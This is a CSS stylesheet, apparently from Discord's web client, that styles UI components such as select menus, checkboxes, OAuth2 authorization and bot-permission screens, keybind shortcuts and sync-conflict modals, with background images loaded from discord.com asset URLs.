.darkElevationBorderHigh-2U1nXW { box-shadow: rgba(32, 34, 37, 0.6) 0px 0px 0px 1px, rgba(0, 0, 0, 0.2) 0px 2px 10px 0px; }

.lightElevationLow-3_Ybxi { box-shadow: rgba(0, 0, 0, 0.2) 0px 1px 5px; }

.lightElevationHigh-3usmGv { box-shadow: rgba(0, 0, 0, 0.1) 0px 2px 10px 0px; }

.lightElevationBorderLow-3APXjz { box-shadow: rgba(185, 187, 190, 0.3) 0px 0px 0px 1px, rgba(0, 0, 0, 0.2) 0px 1px 5px; }

.lightElevationBorderHigh-2T98IF { box-shadow: rgba(185, 187, 190, 0.3) 0px 0px 0px 1px, rgba(0, 0, 0, 0.1) 0px 2px 10px 0px; }

.theme-light .elevationLow-2lY09M { box-shadow: rgba(0, 0, 0, 0.2) 0px 1px 5px; }

.theme-light .elevationHigh-3A9Xbf { box-shadow: rgba(0, 0, 0, 0.1) 0px 2px 10px 0px; }

.theme-light .elevationBorderLow-2qgTRQ { box-shadow: rgba(185, 187, 190, 0.3) 0px 0px 0px 1px, rgba(0, 0, 0, 0.2) 0px 1px 5px; }

.theme-light .elevationBorderHigh-2WYJ09 { box-shadow: rgba(185, 187, 190, 0.3) 0px 0px 0px 1px, rgba(0, 0, 0, 0.1) 0px 2px 10px 0px; }

.theme-dark .elevationLow-2lY09M { box-shadow: rgba(0, 0, 0, 0.3) 0px 1px 5px 0px; }

.theme-dark .elevationHigh-3A9Xbf { box-shadow: rgba(0, 0, 0, 0.2) 0px 2px 10px 0px; }

.theme-dark .elevationBorderLow-2qgTRQ { box-shadow: rgba(32, 34, 37, 0.6) 0px 0px 0px 1px, rgba(0, 0, 0, 0.3) 0px 1px 5px 0px; }

.theme-dark .elevationBorderHigh-2WYJ09 { box-shadow: rgba(32, 34, 37, 0.6) 0px 0px 0px 1px, rgba(0, 0, 0, 0.2) 0px 2px 10px 0px; }

.calendarContainer-2ecZWM { }

.container-WaNuJN { cursor: pointer; }

.content-_iGVyR { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; }

.text-30i3bK { margin-right: 8px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }

.icon-2le0yg { flex-shrink: 0; margin: -2px -2px -2px auto; color: var(--interactive-normal); }

.disabled-HZttKj { cursor: not-allowed; }

.select-2fjwPw { border: 1px solid transparent; padding: 8px 8px 8px 12px; cursor: pointer; box-sizing: border-box; display: grid; grid-template-columns: 1fr auto; -webkit-box-align: center; align-items: center; border-radius: 4px; }

.select-2fjwPw, .wrapper-2yc6Ud { color: var(--text-normal); font-weight: 500; }

.searchable-1Zl-ns { padding-top: 8px; padding-bottom: 8px; }

.searchInput-5YMkDH { cursor: pointer; background: inherit; color: inherit; border: none; font-size: 16px; padding: 0px; width: 100%; }

.editing-p4oIUO { font-weight: 400; }

.label-2lO3Xi { position: absolute; top: 0px; bottom: 0px; margin: auto; height: 16px; left: 12px; }

.open-kZ53_U { border-radius: 4px 4px 0px 0px; border-bottom-color: transparent; }

.disabled-9453HS, .disabled-9453HS * { cursor: not-allowed; opacity: 0.6; }

.placeholder-ffQ18M, .value-3EB36z { text-overflow: ellipsis; white-space: nowrap; overflow: hidden; }

.placeholder-ffQ18M { color: var(--text-muted); }

.measurement-1lxjFG { position: absolute; visibility: hidden; pointer-events: none; border: 1px solid transparent; box-sizing: border-box; }

.lookFilled-22uAsw.select-2fjwPw { background-color: var(--background-secondary); border-color: var(--background-tertiary); }

.popout-VcNcHB { box-sizing: border-box; border: 1px solid var(--background-tertiary); background: var(--background-secondary); border-radius: 0px 0px 4px 4px; }

.lookFilled-22uAsw.popout-VcNcHB { border-radius: 0px 0px 3px 3px; }

.lookFilled-22uAsw.option-3KoAJB, .lookFilled-22uAsw.select-2fjwPw:hover.option-3KoAJB { border-color: var(--brand-experiment) var(--brand-experiment) var(--background-tertiary); }

.option-3KoAJB { padding: 12px; cursor: pointer; color: var(--interactive-normal); display: grid; grid-template-columns: 1fr auto; -webkit-box-align: center; align-items: center; font-weight: 500; box-sizing: border-box; }

.option-3KoAJB.focused-1T6PE5, .option-3KoAJB:focus, .option-3KoAJB:hover { background-color: var(--background-secondary-alt); color: var(--interactive-hover); }

.option-3KoAJB[aria-selected="true"] { color: var(--interactive-active); background-color: var(--background-tertiary); }

.selectedIcon-3uS11H { color: var(--brand-experiment); }

.icons-2E-yxr { gap: 4px; }

.icons-2E-yxr, .value-3EB36z { display: flex; -webkit-box-align: center; align-items: center; }

.value-3EB36z { gap: 8px; }

.clear-1-31NQ { display: block; cursor: pointer; }

.noResults-2F_8kS { padding: 12px; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; background: var(--background-secondary); width: 100%; }

.wrapper-2yc6Ud { display: grid; grid-template-columns: 1fr auto; }

.wrapper-2yc6Ud .select-2fjwPw { grid-area: 1 / 1 / auto / span 2; padding-top: 10px; padding-bottom: 10px; padding-left: 12px; padding-right: calc(24px + var(--icons-width)); }

.wrapper-2yc6Ud .icons-2E-yxr { grid-area: 1 / 2 / auto / auto; margin-inline-end: 8px; pointer-events: none; }

.clear-1-31NQ { pointer-events: all; }

.wrapper-2yc6Ud .value-3EB36z { display: flex; }

.wrapper-2yc6Ud .searchInput-5YMkDH { -webkit-box-flex: 1; flex: 1 0 0px; }

.searchableSelect-f9ipl2 .option-3KoAJB { display: grid; grid-template-areas: "prefix content suffix selectedIcon"; grid-template-columns: auto 1fr auto auto; align-content: center; }

.searchableSelect-f9ipl2 .prefix-NgtynO { grid-area: prefix / prefix / prefix / prefix; margin-inline-end: 8px; }

.searchableSelect-f9ipl2 .suffix-1mo9xx { grid-area: suffix / suffix / suffix / suffix; margin-inline: 8px; }

.searchableSelect-f9ipl2 .content-18A5Lq { grid-area: content / content / content / content; }

.searchableSelect-f9ipl2 .selectedIcon-3uS11H { grid-area: selectedIcon / selectedIcon / selectedIcon / selectedIcon; }

.select-QHUX8_ { background-color: var(--deprecated-text-input-bg); border: 1px solid var(--deprecated-text-input-border); height: 40px; }

.doubleInput-1W2Xv8 { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; position: relative; margin-bottom: 16px; }

.doubleInput-1W2Xv8 > div { -webkit-box-flex: 1; flex: 1 1 0px; width: 0px; }

.doubleInput-1W2Xv8 > div:first-child { margin-right: 8px; }

.doubleInput-1W2Xv8 > div:nth-child(2) { margin-left: 8px; }

.link-xxaTRF { -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; display: flex; transition: opacity 0.2s ease 0s; font-size: 16px; font-weight: 400; color: var(--interactive-active); }

.link-xxaTRF:hover { opacity: 0.8; }

.addIcon-2phqju { margin-right: 8px; color: var(--brand-experiment); }

.removeIcon-2ovbtS { margin-right: 8px; color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.textArea-1Lj-Ns { height: auto; resize: none; }

.resizeable-3Dlqvo { resize: auto; }

.inputMaxLength-1vRluy { position: relative; }

.flex-2mWL14 { display: flex; -webkit-box-flex: 1; flex: 1 1 auto; }

.maxLength-39QFBo { position: absolute; bottom: 12px; right: 14px; font-size: 12px; font-family: Consolas, "Andale Mono WT", "Andale Mono", "Lucida Console", "Lucida Sans Typewriter", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Liberation Mono", "Nimbus Mono L", Monaco, "Courier New", Courier, monospace; pointer-events: none; color: rgb(114, 118, 125); }

.errorMessage-2BHrcU { margin-top: 8px; font-size: 14px; line-height: 20px; color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.modalContent-no-lBy { padding-bottom: 16px; }

.blockedUsersContainer-1f-HNY { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-pack: center; justify-content: center; }

.form-1Rg6af { align-self: stretch; }

.formItem-1B0brO { width: 100%; margin-top: 24px; }

.topicFormItem-32kwOR { width: 100%; margin-bottom: 16px; }

.channelSelectionFormItem-AU-meU { margin-top: 24px; }

.textInput-2hUaEf { background-color: var(--background-secondary); border-radius: 4px; margin-bottom: 8px; }

.cancelButton-280zMn { margin-right: 8px; }

.buttonsContainer-2X9CqD { width: 100%; display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-pack: center; justify-content: center; }

.speakerHint-ES6h0I { margin-top: 8px; }

.itemIcon-1ef1gc { flex-shrink: 0; color: var(--interactive-normal); }

.channelName-1mXqh4 { color: var(--header-primary); font-weight: 700; }

.channelSelection-1MN6q2 { margin: 8px 0px 24px; }

.label-2fBZzm { margin: 24px 0px 8px; text-transform: uppercase; font-weight: 700; }

.warning-3P4oqk { margin-bottom: 8px; }

.notificationToggle-1eu5gG { margin-top: 24px; }

.notificationContent-1vzQme { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; }

.tooltipIcon-1zizjW { margin-left: 4px; color: var(--interactive-active); }

.pill-302sLb { padding: 2px 4px; margin-left: 8px; border-radius: 4px; text-transform: uppercase; font-weight: 600; background-color: var(--brand-experiment); color: rgb(255, 255, 255); display: flex; }

.content-2ftjoC { padding-top: 24px; }

.content-2ftjoC, .stageIconBackground-ljBnA5 { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; }

.stageIconBackground-ljBnA5 { -webkit-box-pack: center; justify-content: center; background-color: var(--background-tertiary); border-radius: 50%; height: 60px; width: 60px; }

.stageIcon-21ZFwY { color: var(--header-primary); }

.headerTitle-2e-XZw { margin-bottom: 8px; margin-top: 8px; }

.headerSubtitle-SjuGNS { margin-bottom: 32px; }

.container-3nHkOQ { height: 100%; width: 100%; }

.slideContainer-3JfqTe { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; max-height: clamp(200px, 100vh - 80px, 660px); }

.closeButton-3oHzMa { position: absolute; box-sizing: content-box; top: 12px; right: 4px; }

.content-2TX59W { text-align: center; }

.image-2568Gg { margin-top: 24px; height: 90px; width: auto; }

.title-1X2dN- { margin-top: 16px; font-weight: 700; }

.subtitle-2ljJ8H { margin-top: 8px; margin-bottom: 32px; }

.button-2rjtHF { width: 100%; }

.applicationDetails-9QVoka { padding: 24px 0px; }

.entry-1btQtX { margin-top: 8px; display: flex; }

.entryIcon-wz4L9Q { margin-right: 8px; width: 16px; height: 16px; background-size: 16px 16px; background-position: 50% center; background-repeat: no-repeat; box-sizing: border-box; color: var(--text-muted); }

.entryInner-2hiMQJ { font-weight: 500; }

.scopes-3GJ3xw { border-bottom: 1px solid var(--background-modifier-accent); padding: 24px 0px; }

.scope-J5Vnxx { margin-top: 16px; display: flex; }

.scopeCheck-rUiN1D { background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.scopeCheck-rUiN1D, .scopeTimes-7s84Xf { margin-right: 12px; width: 24px; height: 24px; padding: 2px; border-radius: 50%; box-sizing: border-box; }

.scopeTimes-7s84Xf { background-color: hsl(214,calc(var(--saturation-factor, 1)*9.9%),50.4%); }

.scopeInner-1g9Pzj { display: flex; -webkit-box-flex: 1; flex: 1 1 0%; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: center; justify-content: center; box-sizing: border-box; }

.scopeName-JzSRX6 { font-weight: 500; }

.sectionLabel-1pA-5F { margin-bottom: 16px; font-weight: 700; text-transform: uppercase; color: var(--header-secondary); }

.icon-1Vf2He { width: 20px; height: 20px; color: rgb(255, 255, 255); }

.checkbox-3kaeSU { cursor: pointer; display: flex; -webkit-box-align: center; align-items: center; }

.checkbox-3kaeSU.disabled-1hiCMV { opacity: 0.3; pointer-events: none; }

.checkbox-3kaeSU .checkboxInner-3yjcPe { width: 18px; height: 18px; position: relative; vertical-align: top; flex-shrink: 0; }

.checkbox-3kaeSU .checkboxInner-3yjcPe::after, .checkbox-3kaeSU .checkboxInner-3yjcPe::before { content: ""; }

.checkbox-3kaeSU .checkboxInner-3yjcPe span { position: absolute; inset: 0px; border: 2px solid rgb(205, 205, 205); transition: all 0.24s ease 0s; border-radius: 2px; box-sizing: border-box; }

.checkbox-3kaeSU .checkboxInner-3yjcPe + span { margin-left: 8px; }

.checkbox-3kaeSU .checkboxInner-3yjcPe .checkboxElement-1qV33p { display: none; }

.checkbox-3kaeSU .checkboxInner-3yjcPe .checkboxElement-1qV33p:checked + span { background-color: var(--brand-experiment); border-color: var(--brand-experiment); }

.checkbox-3kaeSU .checkboxInner-3yjcPe .checkboxElement-1qV33p:checked + span::after { content: ""; position: absolute; top: 0px; left: 4px; display: table; width: 4px; height: 10px; border-color: rgb(255, 255, 255); border-style: solid; border-width: 0px 2px 2px 0px; transform: rotate(45deg); }

.checkbox-3kaeSU .checkboxInner-3yjcPe .checkboxElement-1qV33p:disabled + span { border-color: rgb(205, 205, 205); background-color: rgb(243, 243, 243); cursor: not-allowed; }

.checkbox-3kaeSU .checkboxInner-3yjcPe .checkboxElement-1qV33p:checked:disabled + span { background-color: var(--brand-experiment-300); border-color: var(--brand-experiment-300); }

.checkbox-3kaeSU .checkboxInner-3yjcPe.alt-6FvZrq .checkboxElement-1qV33p + span { background: rgb(255, 255, 255); border-color: rgb(255, 255, 255); }

.checkbox-3kaeSU .checkboxInner-3yjcPe.alt-6FvZrq .checkboxElement-1qV33p:checked + span::after { border-color: var(--brand-experiment); }

.theme-dark .checkbox-3kaeSU .checkboxInner-3yjcPe span { border-color: rgba(255, 255, 255, 0.2); }

.botPermissions-1zv5Xg { border-bottom: 1px solid var(--background-modifier-accent); padding: 16px 0px 32px; }

.permissionsList-B0Dh4s { -webkit-box-pack: justify; justify-content: space-between; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.permission-39__Fj, .permissionsList-B0Dh4s { display: flex; }

.permission-39__Fj { font-weight: 500; margin: 16px 0px 0px; -webkit-box-align: center; align-items: center; -webkit-box-flex: 2; flex: 2 1 0%; }

.permissionsLabel-2dXyOx { font-weight: 500; margin-top: 8px; }

.disabledPermissionsLabel-uwYfOz { font-weight: 500; margin-top: 24px; }

.disabledPermissionIcon-Pm3Yy8 { margin-right: 8px; width: 18px; height: 18px; border-radius: 10%; background-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); box-sizing: border-box; }

.icon-23g0Dq { width: 18px; height: 18px; color: rgb(255, 255, 255); }

.selectorGroup-dJ6TXV { border-bottom: 1px solid var(--background-modifier-accent); padding: 16px 0px 24px; }

.select-1Hqz5i { margin: 8px 0px; background-color: var(--background-secondary); border-radius: 3px; }

.label-1ANrVZ { font-weight: 500; }

.sectionLabel-1Qi0HG { font-weight: 700; text-transform: uppercase; color: var(--header-secondary); }

.botTag-2WPJ74 { font-size: 0.625rem; text-transform: uppercase; vertical-align: top; display: inline-flex; -webkit-box-align: center; align-items: center; flex-shrink: 0; text-indent: 0px; }

.px-10SIf7.botTag-2WPJ74 { height: 15px; padding: 0px 4px; margin-top: 1px; border-radius: 3px; }

.rem-2m9HGf.botTag-2WPJ74 { height: 0.9375rem; padding: 0px 0.275rem; margin-top: 0.075em; border-radius: 0.1875rem; }

.botTagRegular-2HEhHi { background: var(--brand-experiment); color: rgb(255, 255, 255); }

.botTagInvert-18-95s { background: rgb(255, 255, 255); color: var(--brand-experiment); }

.botTagVerified-1klIIt { display: inline-block; }

.px-10SIf7 .botTagVerified-1klIIt { width: 15px; height: 15px; margin-left: -4px; }

.rem-2m9HGf .botTagVerified-1klIIt { width: 0.9375rem; height: 0.9375rem; margin-left: -0.25rem; }

.botText-1526X_ { position: relative; font-weight: 500; }

.px-10SIf7 .botText-1526X_ { font-size: 10px; line-height: 15px; }

.rem-2m9HGf .botText-1526X_ { line-height: 0.9375rem; }

.header-1Gj-ua { padding: 32px 0px 24px; border-radius: 8px 0px; border-bottom: 1px solid var(--background-modifier-accent); display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; }

.applicationName-212NZT { font-weight: 700; }

.label-UzTiGn { margin-bottom: 8px; }

.currentUser-3BMWhF, .label-UzTiGn { font-weight: 500; }

.currentUserTag-1dfMNW { display: inline; }

.currentUserDiscriminator-2hSQeo { display: inline; color: var(--interactive-normal); }

.logoutLink-2hi5Sf { margin-left: 8px; color: var(--brand-experiment); }

.headerIcons-3eFvs9 { -webkit-box-align: center; align-items: center; margin-bottom: 24px; }

.ellipseGroup-3yOSIs, .headerIcons-3eFvs9 { display: flex; -webkit-box-pack: justify; justify-content: space-between; }

.ellipseGroup-3yOSIs { margin: 0px 24px; }

.ellipse-34ZPbW { width: 4px; height: 4px; margin: 0px 2px; background-color: var(--header-primary); opacity: 0.1; border-radius: 50%; }

.botTag-3EBhDH { margin-left: 8px; margin-top: 4px !important; }

.image-2jyRAK { position: absolute; top: 0px; left: 0px; opacity: 0; transition: opacity 0.2s linear 0.2s; }

.image-2jyRAK.loaded-3PtF_J { opacity: 1; }

.logo-2iEHEq { -webkit-box-flex: 0; flex: 0 0 auto; width: 130px; height: 36px; background: url("https://discord.com/assets/22fd790491653d837422d80e3500cf92.svg") no-repeat; }

.canvas-3XuBXe { transform: translateZ(0px); }

.canvas-3XuBXe, .fallbackImage-31Sk4m { position: fixed; top: 0px; left: 0px; pointer-events: none; }

.fallbackImage-31Sk4m { width: 100%; height: 85%; min-width: 780px; min-height: 780px; max-width: 1000px; max-height: 1000px; background: url("https://discord.com/assets/c5c565a8b7cb84db7409e4052ead36fe.png") 0px 0px / contain no-repeat; border: none; opacity: 0; transition: opacity 0.4s ease 0s; }

.visible-JD5pR1 { opacity: 1; }

.embedded-30DdwH { position: absolute; }

.oauth2Wrapper-mHbF5q { min-width: 280px; max-width: 400px; min-height: 400px; display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; position: relative; border-radius: 5px; box-shadow: var(--elevation-high); background-color: var(--background-floating); }

.wrapper-L5YRoB { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; padding: 0px 16px; }

.header-3a78__ { background-position: 50% center; background-repeat: no-repeat; display: inline-block; }

.text-23oMQC { margin-top: 24px; text-align: center; }

.headerSuccess-_KN2IQ { width: 158px; height: 130px; background: url("https://discord.com/assets/490864169c9ad323ba882ed7a388ca64.svg") no-repeat; }

.headerFailure-2bMPeV { width: 92px; height: 92px; background: url("https://discord.com/assets/0465bf5dca08d42fb8b642ecba138d03.svg") no-repeat; }

.closeButton-2Og9Gm { position: absolute; right: 12px; top: 12px; opacity: 0.8; }

.footer-3ZalXG { padding: 16px; border-radius: 0px 0px 5px 5px; background-color: var(--background-secondary); display: flex; -webkit-box-pack: justify; justify-content: space-between; }

@media (max-width: 485px) {
  .footer-3ZalXG { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: reverse; flex-direction: column-reverse; padding: 0px 16px 8px; background-color: transparent; }
  .footer-3ZalXG button { margin-top: 8px; }
}

.authorize-3eAFPo { width: 100%; height: 100%; }

.authorize-3eAFPo, .captcha-2jlizN { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.captcha-2jlizN { padding-top: 28px; padding-bottom: 28px; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; }

.captchaLabel-16TXZW { font-weight: 500; margin-bottom: 20px; }

.recaptcha-16yJSA { height: 80px; }

.content-bHl-Nl { padding: 0px 16px; }

.scrollContent-m6ynud { padding: 0px 8px 0px 16px !important; }

.anchor-3Z-8Bb { color: var(--text-link); text-decoration: none; }

.low-saturation .anchor-3Z-8Bb { text-decoration: underline; color: var(--text-link-low-saturation); }

.anchorUnderlineOnHover-2ESHQB:hover { text-decoration: underline; }

.modalRoot-3UYjiS { width: 400px; }

.modal-1630pA { display: flex; -webkit-box-align: center; align-items: center; text-align: center; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; box-sizing: border-box; padding: 24px; overflow: visible; }

.header-2cDml2 { margin-bottom: 16px; }

.button-32WdHP { -webkit-box-flex: 1; flex: 1 1 50%; }

.button-32WdHP:first-child { margin-left: 8px; }

.keybindShortcut-1BD6Z1 { font-size: 12px; line-height: 12px; text-transform: uppercase; font-weight: 600; margin-bottom: 8px; margin-right: 10px; display: flex; }

.keybindShortcut-1BD6Z1, .keybindShortcut-1BD6Z1 span { box-sizing: border-box; position: relative; height: 23px; }

.keybindShortcut-1BD6Z1 span { background-color: var(--background-accent); border: 1px solid var(--background-primary); display: block; padding: 3px 6px 4px; margin-right: 3px; border-radius: 4px; cursor: default; min-width: 14px; min-height: 14px; text-align: center; }

.keybindShortcut-1BD6Z1 span .bindArrow-2X3Aom { width: 10px; height: 10px; }

.keybindShortcut-1BD6Z1 span .bindArrow-2X3Aom.up-2cOsD2 { transform: rotate(180deg); }

.keybindShortcut-1BD6Z1 span .bindArrow-2X3Aom.left-3u1rVI { transform: rotate(90deg); }

.keybindShortcut-1BD6Z1 span .bindArrow-2X3Aom.right-CbUyiH { transform: rotate(-90deg); }

.keybindShortcut-1BD6Z1 span:active { transform: translateY(2px); height: 21px; padding-bottom: 2px; }

.keybindShortcutQuickSwitcher-1-Xs5c { display: inline-block; margin-right: 5px; margin-bottom: 0px; }

.keybindShortcutQuickSwitcher-1-Xs5c span { margin-right: 0px; }

.keybindShortcutQuickSwitcher-1-Xs5c.up { margin-left: 5px; }

.keybindShortcutTipsNav-1mb0yH { margin-left: 4px; margin-right: 0px; }

.keybindShortcutTipsNav-1mb0yH:first-of-type { margin-left: 0px; margin-right: 4px; }

.keybindShortcutTipsNav-1mb0yH:last-of-type { margin-right: 4px; }

.keybindShortcutTipsSelect-HDyfe8:last-of-type { margin-left: 16px; position: relative; }

.keybindShortcutTipsSelect-HDyfe8:last-of-type::before { content: ""; position: absolute; top: 0px; left: -8px; width: 1px; height: 20px; }

.theme-light .keybindShortcut-1BD6Z1 { color: rgb(255, 255, 255); }

.theme-light .keybindShortcut-1BD6Z1 span { border: 1px solid rgb(149, 152, 157); box-shadow: rgb(46, 51, 56) 0px -4px 0px inset; }

.theme-light .keybindShortcut-1BD6Z1 span:active { box-shadow: rgb(79, 86, 96) 0px -2px 0px inset; border: 1px solid rgb(46, 51, 56); color: rgb(173, 173, 173); }

.theme-light .keybindShortcut-1BD6Z1 span:active g { fill: rgb(173, 173, 173); }

.theme-light .dim-1l4L4y span { background-color: rgb(255, 255, 255); color: rgb(149, 152, 157); }

.theme-light .dim-1l4L4y span .bindArrow-2X3Aom g { fill: rgb(149, 152, 157); }

.theme-light .dim-1l4L4y span:active { color: rgb(119, 122, 126); }

.theme-light .dim-1l4L4y span:active .bindArrow-2X3Aom g { fill: rgb(119, 122, 126); }

.theme-light .dark-2P8byF span { color: rgb(149, 152, 157); box-shadow: rgb(32, 34, 37) 0px -4px 0px inset; border-color: rgb(32, 34, 37); background-color: rgb(79, 84, 92); }

.theme-light .dark-2P8byF span .bindArrow-2X3Aom g { fill: rgb(149, 152, 157); }

.theme-light .dark-2P8byF span:active { color: rgb(119, 122, 126); box-shadow: rgb(36, 38, 41) 0px -2px 0px inset; }

.theme-light .dark-2P8byF span:active .bindArrow-2X3Aom g { fill: rgb(119, 122, 126); }

.theme-light .keybindShortcutTipsSelect-HDyfe8:last-of-type::before { background-color: rgb(223, 224, 226); }

.theme-dark .keybindShortcut-1BD6Z1 { color: rgb(246, 246, 247); }

.theme-dark .keybindShortcut-1BD6Z1 span { color: rgb(246, 246, 247); box-shadow: rgb(32, 34, 37) 0px -4px 0px inset; }

.theme-dark .keybindShortcut-1BD6Z1 span .bindArrow-2X3Aom g { fill: rgb(246, 246, 247); }

.theme-dark .keybindShortcut-1BD6Z1 span:active { color: rgb(185, 187, 190); box-shadow: rgb(54, 57, 63) 0px -2px 0px inset; border: 1px solid rgb(32, 34, 37); }

.theme-dark .keybindShortcut-1BD6Z1 span:active .bindArrow-2X3Aom g { fill: rgb(185, 187, 190); }

.theme-dark .dim-1l4L4y span { background-color: rgb(114, 118, 125); color: rgb(185, 187, 190); }

.theme-dark .dim-1l4L4y span .bindArrow-2X3Aom g { fill: rgb(185, 187, 190); }

.theme-dark .dim-1l4L4y span:active { }

.theme-dark .dim-1l4L4y span:active .bindArrow-2X3Aom g { }

.theme-dark .keybindShortcutTipsSelect-HDyfe8:last-of-type::before { background-color: rgb(79, 84, 92); }

.keybindShortcutSearchPopout-1MAfqq { flex-shrink: 0; -webkit-box-flex: 0; flex-grow: 0; margin: 0px; }

.keyboardShortcuts-1s_yPt { margin: 0px; }

.closeButton-kcmOnx { position: absolute; top: 14px; right: 14px; }

.art-1zbbdz { background-size: contain; background-repeat: no-repeat; background-position: 50% center; }

.description-1cm6EO { line-height: 1.44; margin-bottom: 20px; }

.conflictButton-2TEeJu { height: 100px; width: 100%; border: 1px solid; padding: 20px; -webkit-box-pack: start; justify-content: flex-start; }

.linkButtonSize-228MG- { height: 38px; width: auto; }

.linkButton-26G8CZ { padding: 0px; }

.linkButton-26G8CZ:hover { text-decoration: underline; }

.retryButton-2AYLXs { margin-right: 8px; }

.conflictButtonInner-XZrTV7 { width: 100%; display: flex; -webkit-box-align: center; align-items: center; }

.title-1ao9Am { font-size: 12px; text-transform: uppercase; font-weight: 700; letter-spacing: 0.5px; }

.buttonBody-3cgCL5 { line-height: 1.25; text-align: left; font-size: 16px; }

.timestamp-2Ur99a { font-weight: 700; }

.choiceWrapper-1m68jk { margin-top: 20px; margin-bottom: 20px; }

.choiceLine-BbJN0b { height: 1px; width: 100%; }

.choiceTitle-3e5g_W { margin: 0px 8px; }

.conflictTitle-201X8O { margin-bottom: 4px; }

.conflictArt-2Lr21j { width: 60px; height: 60px; margin-right: 20px; }

.conflictDownloadArt-36cpxM, .conflictUploadArt-3V4Em_ { }

.errorArt-3qzArg { width: 220px; height: 123px; margin-top: 20px; margin-bottom: 40px; }

.theme-dark .modal-1XR4nE { color: rgb(220, 221, 222); }

.theme-dark .conflictButton-2TEeJu { background-color: rgb(47, 49, 54); border-color: rgb(32, 34, 37); }

.theme-dark .conflictButton-2TEeJu:hover { background-color: rgb(79, 84, 92); }

.theme-dark .title-1ao9Am { color: rgb(185, 187, 190); }

.theme-dark .conflictUploadArt-3V4Em_ { background-image: url("https://discord.com/assets/b55aae0bca1abd3369da79d1e6618211.svg"); }

.theme-dark .conflictDownloadArt-36cpxM { background-image: url("https://discord.com/assets/c6252bc3f9adf69da8ef5af3b8e04c01.svg"); }

.theme-dark .errorArt-3qzArg { background-image: url("https://discord.com/assets/a9cea9dcca399579f75e78d703989496.svg"); }

.theme-dark .buttonBody-3cgCL5 { color: rgb(255, 255, 255); }

.theme-dark .choiceLine-BbJN0b { background-color: rgba(79, 84, 92, 0.6); }

.theme-light .modal-1XR4nE { color: rgb(114, 118, 125); }

.theme-light .conflictButton-2TEeJu { background-color: hsl(180,calc(var(--saturation-factor, 1)*7.7%),97.5%); border-color: rgba(220, 221, 222, 0.6); }

.theme-light .conflictButton-2TEeJu:hover { border-color: rgba(185, 187, 190, 0.6); background-color: rgba(220, 221, 222, 0.3); }

.theme-light .title-1ao9Am { color: rgb(185, 187, 190); }

.theme-light .conflictUploadArt-3V4Em_ { background-image: url("https://discord.com/assets/d4303335f7d43a0f62cb9061f638974a.svg"); }

.theme-light .conflictDownloadArt-36cpxM { background-image: url("https://discord.com/assets/f2b6352b388b1db124b024a67715adc3.svg"); }

.theme-light .errorArt-3qzArg { background-image: url("https://discord.com/assets/9f981a4377e84c4bbddeb477133793be.svg"); }

.theme-light .buttonBody-3cgCL5 { color: rgb(79, 84, 92); }

.theme-light .choiceLine-BbJN0b { background-color: rgba(220, 221, 222, 0.6); }

.title-2HYF3Z { font-weight: 700; margin-top: 11px; margin-bottom: 8px; }

.body-r2d1CY, .title-2HYF3Z { text-align: center; }

.body-r2d1CY { margin-bottom: 16px; }

.art-25XW-1 { height: 105px; margin-top: -88px; }

.theme-dark .svgContentRight-VRT04v { fill: rgb(79, 84, 92); }

.theme-dark .svgContentLeft-i3sITr { fill: rgb(64, 68, 75); }

.theme-dark .svgContentLines-3hGvN4, .theme-dark .svgDots-2tp4yT { fill: rgb(114, 118, 125); }

.theme-dark .svgTag-3iksEu { fill: rgb(220, 221, 222); }

.theme-light .svgContentRight-VRT04v { fill: rgb(255, 255, 255); }

.theme-light .svgContentLeft-i3sITr, .theme-light .svgContentLines-3hGvN4 { fill: rgb(199, 204, 209); }

.theme-light .svgDots-2tp4yT { fill: rgb(235, 237, 239); }

.theme-light .svgTag-3iksEu { fill: rgb(144, 153, 164); }

.wrapper-3o7UcG { box-sizing: border-box; border-radius: 4px; padding: 16px; width: 432px; height: 104px; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; text-indent: 0px; background-color: var(--background-secondary); }

.titleRegion-1Npsrb, .wrapper-3o7UcG { display: flex; }

.titleRegion-1Npsrb { -webkit-box-pack: start; justify-content: flex-start; -webkit-box-align: center; align-items: center; margin-bottom: 16px; text-transform: uppercase; }

.infoIcon-1WLE3n, .title-159n91 { display: block; -webkit-box-flex: 0; flex: 0 0 auto; }

.infoIcon-1WLE3n { width: 16px; height: 16px; margin-left: 4px; }

.copyLink-2thG89 { position: relative; display: flex; -webkit-box-pack: start; justify-content: flex-start; -webkit-box-align: center; align-items: center; font-weight: 600; padding-right: 8px; margin-left: 16px; cursor: pointer; }

.copyLink-2thG89::before { content: ""; position: absolute; top: 2px; left: -8px; display: block; height: 12px; width: 1px; margin-right: 8px; pointer-events: none; }

